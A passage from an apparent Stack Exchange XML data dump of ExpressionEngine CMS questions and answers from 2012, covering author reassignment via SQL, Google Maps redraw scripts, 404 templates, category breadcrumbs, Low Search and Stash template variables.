replace(field_id_X,'Option 1','option_one');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;To add a short description instead of a link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {walk_features}&#xA;    &amp;lt;li class=&quot;{option}&quot;&amp;gt;&#xA;      &amp;lt;span&amp;gt;{option_name}&amp;lt;/span&amp;gt;&#xA;&#xA;      {if &quot;{option}&quot; == &quot;option_one&quot;}&#xA;        short description about Option 1&#xA;      {/if}&#xA;&#xA;      {if &quot;{option}&quot; == &quot;option_two&quot;}&#xA;        short description about Option 2&#xA;      {/if}&#xA;      ...&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {/walk_features}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-05T13:13:08.800" LastActivityDate="2012-12-05T13:13:08.800" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1177" PostTypeId="1" AcceptedAnswerId="1178" CreationDate="2012-12-05T13:10:06.637" Score="5" ViewCount="349" Body="&lt;p&gt;I used zoo member/safecracker to allow registered members submit 1 entry (application form) a few months back. I now need to open this form back up for submissions again. I need to save the original submissions in the database but need to remove the registered members so they can submit again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the author of the entries needs to be changed before the members are deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a plug-in to change the author of multiple entries (1000 aprox) or what syntax to use for the database query.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2012-12-05T13:30:40.320" Title="Deleting members / Changing Author of multiple entries" Tags="|database|safecracker|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1178" PostTypeId="2" ParentId="1177" CreationDate="2012-12-05T13:21:00.213" Score="7" Body="&lt;p&gt;Your SQL query would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles SET author_id = XX WHERE entry_id IN(34,278,45,91, [...]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll want to run a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/recount_statistics.html&quot;&gt;Recount Statistics&lt;/a&gt; afterwards as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If there was something common to all of these entries, you could possibly incorporate more into the query that would prevent you from having to have a comma-delimited list of all the entry_ids hard-coded.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-12-05T13:30:40.320" LastActivityDate="2012-12-05T13:30:40.320" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1179" PostTypeId="2" ParentId="1131" CreationDate="2012-12-05T13:37:09.083" Score="1" Body="&lt;p&gt;Currently these features are not available in Postmaster. v1.2 is almost finished, but it wouldn't be a problem to add the following in the form a config override in the next version:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Config var to disable all emails from being sent&lt;/li&gt;&#xA;&lt;li&gt;Config var to enable debugging (testing why emails are sent/not sent)&lt;/li&gt;&#xA;&lt;li&gt;Config var to disable all error messages (for production sites)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I use the Master Config bootstrap with multiple environment, so you can guarantee it will work for stuff like that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email support[at]objectivehtml.com to get a copy of the latest beta once it's available. (A valid license is required for beta access.)&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-05T13:37:09.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1180" PostTypeId="2" ParentId="1152" CreationDate="2012-12-05T13:49:32.103" Score="8" Body="&lt;p&gt;There are a lot of ways to solve this problem, so the best one will be the one that works best with your code. Below is a basic example of how to redraw the map when a trigger is clicked. Essentially, when a tab or an accordion is clicked, the map goes from hidden to visible. If the map was hidden before it was totally initialized, it will not get rendered correctly - which is why it needs to be redrawn.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;    // Trigger represents any selector you want to trigger the map to be redrawn&#xA;&#xA;    $('.trigger').click(function() {&#xA;&#xA;        var $t     = $(this);&#xA;        var id     = $t.data('id');&#xA;        var map    = window[id+'_map']; &#xA;        var center = window[id+'_options'].center;&#xA;        var bounds = window[id+'_bounds'];&#xA;        var delay  = 500;&#xA;&#xA;        /* Allows the animation to start before the map is redrawn, &#xA;           the 500(ms) can be adjusted for optimal performance. &#xA;           If no animation is present, use 0 or remove the delay &#xA;           entirely. */&#xA;&#xA;        setTimeout(function() {&#xA;            google.maps.event.trigger(map, 'resize');&#xA;&#xA;            for(var x = 0;x &amp;lt; markers.length;x++) {&#xA;                bounds.extend(markers[x].getPosition());&#xA;            }&#xA;&#xA;            // This will center the map on the calculated bounds&#xA;            map.fitBounds(bounds);&#xA;            map.setZoom(options.zoom);&#xA;&#xA;            /* Do not use setCenter and fitBounds, use only the one that works best for you */&#xA;&#xA;        }, delay);&#xA;&#xA;        return true;&#xA;    });&#xA;&#xA;});&#xA;&#xA;&amp;lt;!-- Use the data-id property to map the specific map ID --&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;trigger&quot; data-id=&quot;map&quot;&amp;gt;Redraw Map&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing to note is the center variable. This script uses the map's default. Some people prefer to redraw the map according to the auto-calculated bounds (to fit all the maps in the same view) - if that is the case, use the &lt;strong&gt;bounds&lt;/strong&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-13T14:12:04.810" LastActivityDate="2012-12-13T14:12:04.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1181" PostTypeId="2" ParentId="1172" CreationDate="2012-12-05T14:17:19.703" Score="3" Body="&lt;p&gt;I would do the same as Stuart McCoy, but performance wise it's better to use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; instead of the native advanced conditionals. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;pancakes&quot;}&#xA;    {exp:channel:entries channel=&quot;pancakes&quot; dynamic=&quot;off&quot;}&#xA;      {title}&#xA;      {sn-pagination}&#xA;    {/exp:channel:entries}&#xA;{/case}&#xA;&#xA;{case value=&quot;waffles&quot; default=&quot;Yes&quot;}&#xA;    {exp:channel:entries channel=&quot;waffles&quot; dynamic=&quot;off&quot;}&#xA;      {title}&#xA;      {sn-pagination}&#xA;    {/exp:channel:entries}&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;don't forget to add the dynamic=&quot;off&quot; param!&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="237" LastEditDate="2012-12-05T16:28:58.773" LastActivityDate="2012-12-05T16:28:58.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1182" PostTypeId="2" ParentId="1152" CreationDate="2012-12-05T14:20:34.430" Score="0" Body="&lt;p&gt;Can't beat the answer from Justin but I had a similar issue with MX Google Maps. Its definitely all about redrawing the map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/257/why-is-mx-google-map-not-resizing-in-tab&quot;&gt;Why is MX Google Map not resizing in tab?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the javascript I used to refire/redraw the map.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[data-toggle=&quot;tab&quot;]').on('shown', function (e) { &#xA;google.maps.event.trigger(map, 'resize');&#xA;map.setZoom( map.getZoom() ); &#xA;});  // refire the map&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-05T14:20:34.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1183" PostTypeId="2" ParentId="1167" CreationDate="2012-12-05T14:30:58.993" Score="5" Body="&lt;p&gt;As I stated &lt;a href=&quot;https://getsatisfaction.com/low/topics/low_yearly_achives_and_ee_calendar_tag&quot;&gt;in the GetSat thread&lt;/a&gt; as well, this isn't an issue that has anything to do with Low Yearly Archives per se. It's native behaviour for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/calendar.html&quot;&gt;the channel:calendar tag&lt;/a&gt; to change the month displayed by what's present in the URI. Even if you &lt;em&gt;didn't&lt;/em&gt; put a LYA tag there, you'd still be able to change it by just simply adding &lt;code&gt;/YYYY/MM&lt;/code&gt; to the URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you should probably look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/calendar.html#month-year&quot;&gt;the &lt;code&gt;month=&lt;/code&gt; and &lt;code&gt;year=&lt;/code&gt; parameters&lt;/a&gt; and hard-code them using &lt;code&gt;{current_time}&lt;/code&gt;. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar&#xA;    channel=&quot;events&quot;&#xA;    month=&quot;{current_time format='%m'}&quot;&#xA;    year=&quot;{current_time format='%Y'}&quot;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Untested, but I'm guessing that's your best bet.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-05T14:30:58.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1184" PostTypeId="1" AcceptedAnswerId="1186" CreationDate="2012-12-05T15:13:19.960" Score="3" ViewCount="124" Body="&lt;p&gt;At the moment I can add multiple categories to a post which is fantastic. Is there a way to specify which of the selected categories is the primary category for that content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that I want to select the primary category is to present a clear breadcrumb trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example an article of content could have the following categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A&#xA;   B&#xA;      C *&#xA;   D *&#xA;       E&#xA;F *&#xA;   G&#xA;   H&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the bread crumbs should reflect the primary category &quot;C&quot; (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &gt; B &gt; C &gt; The Content Title&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="33" LastEditDate="2012-12-05T15:30:51.753" LastActivityDate="2012-12-05T16:00:47.283" Title="Setting a primary category for content entry" Tags="|ee2|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1185" PostTypeId="2" ParentId="1184" CreationDate="2012-12-05T15:28:58.037" Score="4" Body="&lt;p&gt;I'd continue using the traditional method of defining categories associated with your entry, but, in order to specify the &quot;primary&quot; category, I'd use an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/lonely-cat&quot; rel=&quot;nofollow&quot;&gt;Lonely Cat&lt;/a&gt;, which allows you to store a single category in a channel field. Then, I'd use that primary category to feed an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt;, which should be able to generate the categorical portion of your breadcrumb structure.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-12-05T15:28:58.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1186" PostTypeId="2" ParentId="1184" CreationDate="2012-12-05T16:00:47.283" Score="6" Body="&lt;p&gt;There's a commercial addon called &lt;a href=&quot;http://www.solspace.com/software/detail/primary_category/&quot;&gt;Primary Category&lt;/a&gt; by Solspace which is what you are probably looking for.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-05T16:00:47.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1187" PostTypeId="1" AcceptedAnswerId="1206" CreationDate="2012-12-05T16:56:56.400" Score="0" ViewCount="120" Body="&lt;p&gt;I am trying to display sales tax in the order confirmation email but it does not appear to be available. Can I add my own variables that I want to make available in the email? If so, how and where would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update specifics&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ah, well.. I thought that this &lt;strong&gt;was&lt;/strong&gt; the support forum for the actual module but wasn't paying attention that it only said ExpressionEngine and not the actual module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway EE  &lt;strong&gt;v2.4.0 - Build: date  20120123&lt;/strong&gt; and it is the &lt;strong&gt;Store&lt;/strong&gt; module by &lt;strong&gt;Exp-resso 1.5.3&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="545" LastEditorUserId="150" LastEditDate="2012-12-05T22:07:46.810" LastActivityDate="2012-12-05T22:07:46.810" Title="How can I display sales tax in order confirmation email" Tags="|add-on|expresso-store|ecommerce|email|order-info|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1188" PostTypeId="1" AcceptedAnswerId="1192" CreationDate="2012-12-05T17:09:45.877" Score="2" ViewCount="60" Body="&lt;p&gt;Store 1.6.1 and Latest EE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using PayPal Express. When a customer is transfered to PayPal but then decides to back out of the purchase, either by clicking the return to vendors website link or simply going else where - the failed order details are not recorded in Store (or am I wrong?). Be nice if they were, as the store owner could then follow up and perhaps make a sale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="197" LastEditDate="2012-12-05T17:46:14.793" LastActivityDate="2012-12-05T17:46:14.793" Title="Recording failed orders?" Tags="|add-on|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1189" PostTypeId="2" ParentId="1038" CreationDate="2012-12-05T17:10:13.740" Score="5" Body="&lt;p&gt;You can also swap to the very similar addon &lt;a href=&quot;http://devot-ee.com/add-ons/wyvern/&quot;&gt;Wyvern&lt;/a&gt;, by BoldMinded, which has Typekit and Google Fonts support built in via the settings screen.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-12-05T17:10:13.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1190" PostTypeId="2" ParentId="1158" CreationDate="2012-12-05T17:26:59.733" Score="1" Body="&lt;p&gt;I would do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM exp_channel_data &#xA;INNER JOIN &#xA;exp_channel_titles &#xA;ON &#xA;exp_channel_title.entry_id = exp:channel_data.entry_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the join right for the two main tables, but what kind of information do you need exactly from the relationship field?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-05T17:26:59.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1191" PostTypeId="1" AcceptedAnswerId="1234" CreationDate="2012-12-05T17:35:05.880" Score="3" ViewCount="99" Body="&lt;p&gt;I would like to send an email to users who have submitted an abstract in the abstracts channel, but leave out users who have not submitted anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;what would be the best way to achieve this?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally would just create a template, then have my abstract authors emails listed, and from there, ask my client to copy paste the list into his email app...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;abstacts&quot;}&#xA;    {embed=&quot;_includes/_get_author_email&quot; author_id=&quot;{author_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'm sure there's a better way to do this!&lt;br&gt;&#xA;any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="28" LastEditDate="2012-12-06T06:05:57.797" LastActivityDate="2012-12-06T07:40:59.593" Title="how could you only email users that have entered something in a channel?" Tags="|email|list|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1192" PostTypeId="2" ParentId="1188" CreationDate="2012-12-05T17:40:17.530" Score="5" Body="&lt;p&gt;You should be able to see any failed orders by going to Orders under the Store dropdown menu and then clicking the Filter By Order Status dropdown and selecting Incomplete. &lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-05T17:40:17.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1193" PostTypeId="1" AcceptedAnswerId="1230" CreationDate="2012-12-05T18:35:30.900" Score="4" ViewCount="132" Body="&lt;p&gt;I'm running into an issue trying to use SSL for a registration form on an MSM set-up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing pages via https on SITE A, the EE globals/paths are getting set incorrectly to SITE B instead of SITE A. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stylesheet='_css/styles.css'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when viewed securely on SITE A, shows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://SITEB.com/eeindex.php?css=_css/styles.css.v.1354718804&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path=LOGOUT}&quot;&amp;gt;Log Out&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;viewed securely on a page on SITE B shows up as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://SITEB.com/eeindex.php?ACT=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the page is viewed with just http://, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paula&lt;/p&gt;&#xA;" OwnerUserId="546" LastActivityDate="2012-12-06T03:07:43.847" Title="SSL misdirected with MSM" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1194" PostTypeId="1" AcceptedAnswerId="1195" CreationDate="2012-12-05T19:00:05.567" Score="5" ViewCount="185" Body="&lt;p&gt;I am a little shaky on how a 404 that returns the proper information should be setup. Right now, I have a 404 template that I note in my .htaccess as my 404 page. I was considering switching this to a page in EE's Pages module. Is this compatible with a proper 404 setup?&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="197" LastEditDate="2012-12-05T19:22:15.273" LastActivityDate="2012-12-05T19:26:47.710" Title="404 page as a Page - is this doable/reasonable?" Tags="|module|pages|404|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1195" PostTypeId="2" ParentId="1194" CreationDate="2012-12-05T19:10:40.240" Score="9" Body="&lt;p&gt;Your biggest point of attention should be the response header for your URL. EE will take care of setting it as a 404 response provided you have selected the template in use in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Global Template Preferences&lt;/a&gt; seen below. (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs reference&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xs1DR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend using a template rather than an entry + pages module. It's just simpler that way.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2012-12-05T19:10:40.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1196" PostTypeId="2" ParentId="1194" CreationDate="2012-12-05T19:19:47.883" Score="3" Body="&lt;p&gt;You don't need to use the Pages module, but you can use a channel entry to make the 404 page more dynamic, it just needs a dedicated template in order for the ExpressionEngine 404 handling to work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often I'll simply duplicate my standard page template to be my 404 template and just hard code the entry in, instead of dynamically loading it from the URL.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-05T19:19:47.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1197" PostTypeId="1" AcceptedAnswerId="1202" CreationDate="2012-12-05T19:23:40.250" Score="6" ViewCount="436" Body="&lt;p&gt;What is the best way to create a category listing page where the category name is used in both the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    {exp:channel:category_heading channel=&quot;news&quot;}&#xA;        {if category_name}&#xA;            &amp;lt;title&amp;gt;{category_name} - News - {site_name}&amp;lt;/title&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;title&amp;gt;Archive - News - {site_name}&amp;lt;/title&amp;gt;&#xA;        {/if}&#xA;    {/exp:channel:category_heading}&#xA;&#xA;    {common-page-head}&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body class=&quot;news-listing listing&quot;&amp;gt;&#xA;    {exp:channel:category_heading channel=&quot;news&quot;}&#xA;        &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;        {if category_description}&#xA;            &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;    {/exp:channel:category_heading}&#xA;&#xA;    {exp:channel:entries channel=&quot;news&quot;}&#xA;        &amp;lt;article class=&quot;news&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {body}&#xA;        &amp;lt;/article&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst this works, is it bad to have the &lt;code&gt;{exp:channel:category_heading}&lt;/code&gt; tag twice on the same template? (i.e. excess queries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to place the page title into a temporary variable which can then be reused to avoid performing the same queries multiple times?&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="197" LastEditDate="2012-12-05T19:51:58.320" LastActivityDate="2012-12-05T20:13:18.917" Title="How to structure a category listing template?" Tags="|ee2|templates|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1198" PostTypeId="2" ParentId="1194" CreationDate="2012-12-05T19:26:47.710" Score="3" Body="&lt;p&gt;You might find &lt;em&gt;Guide to 404 Pages with ExpressionEngine&lt;/em&gt; useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="546" LastActivityDate="2012-12-05T19:26:47.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1199" PostTypeId="1" CreationDate="2012-12-05T19:30:45.823" Score="4" ViewCount="301" Body="&lt;p&gt;I'm trying to implement Low Search for the first time and I'm struggling with how you integrate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't fully understand what Collections are and How I should use them. I'm using the expresso store and have a number of categories for products. I would like to have the ability to show product based on price, and some other criteria. Do I create a collection for each product section or product type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly I have a page that shows products right now. I would like to use the same page to display the results in the same manor. Once I have create the form inputs, checkboxes, etc., how do I set it up to make the search based on all selected criteria?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, How do I display the results. I have seen the example on the product page, but I don't understand how I implement my results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Below is some initial code to get started. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;central_vacuums&quot; search_mode=&quot;all&quot; result_page=&quot;products/index&quot;}&#xA;&#xA;                 &amp;lt;select name=&quot;range:regular_price&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;;99&quot;&amp;gt;$0.00 - $99.99&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;100;199&quot;&amp;gt;$100.00 - $199.99&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;200;399&quot;&amp;gt;$200.00 - $399.99&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;400;799&quot;&amp;gt;$400.00 - $799.99&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;800;&quot;&amp;gt;$800.00 and over&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/select&amp;gt;&#xA;&#xA;                &amp;lt;input name=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;            {/exp:low_search:form}&#xA;&#xA;&#xA;            {exp:low_search:results limit=&quot;10&quot;}&#xA;                {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;                    &amp;lt;p&amp;gt;{regular_price}&amp;lt;/p&amp;gt;&#xA;                {/exp:store:product}&#xA;            {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="311" LastEditorUserId="197" LastEditDate="2012-12-05T19:36:16.203" LastActivityDate="2014-10-15T18:19:14.420" Title="Have trouble implementing Low Search using Expresso Store" Tags="|add-on|ee2|expresso-store|low-search|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1200" PostTypeId="2" ParentId="1197" CreationDate="2012-12-05T19:51:02.093" Score="6" Body="&lt;p&gt;I can think of a couple solutions for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low Seg2Cat&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're only using the category name in the title in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, you could very easily use Low's excellent &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot;&gt;Seg2Cat&lt;/a&gt; extension. I use it on nearly every site, and it's great for grabbing all of your basic category metadata based on categories found in URL segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your url structure is something like &lt;code&gt;example.com/template/category/blue&lt;/code&gt;, you could simply use &lt;code&gt;{segment_3_category_name}&lt;/code&gt; in your title tag to output the displayed category name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stash&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more complicated method, which I frequently use as well is the &lt;a href=&quot;http://github.com/croxton/stash&quot;&gt;Stash&lt;/a&gt; method. This would require that your header is added using an &lt;code&gt;{embed=&quot;&quot;}&lt;/code&gt; tag or that you're following the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot;&gt;Stash Template Partials Method&lt;/a&gt;. I won't go into a ton of detail about how this would work, but basically within your one &lt;code&gt;{exp:channel:category_heading ...}&lt;/code&gt; tag pair, you would use the Stash tags to set a variable containing the category title, which could then be output in your embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example category template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/header&quot;}&#xA;&#xA;&amp;lt;body class=&quot;news-listing listing&quot;&amp;gt;&#xA;    {exp:channel:category_heading channel=&quot;news&quot;}&#xA;        &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;        {if category_description}&#xA;             &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        {exp:stash:set_value name=&quot;category_title&quot; value=&quot;{category_name}&quot;}&#xA;     {/exp:channel:category_heading}&#xA;&#xA;    {exp:channel:entries channel=&quot;news&quot;}&#xA;         &amp;lt;article class=&quot;news&quot;&amp;gt;&#xA;            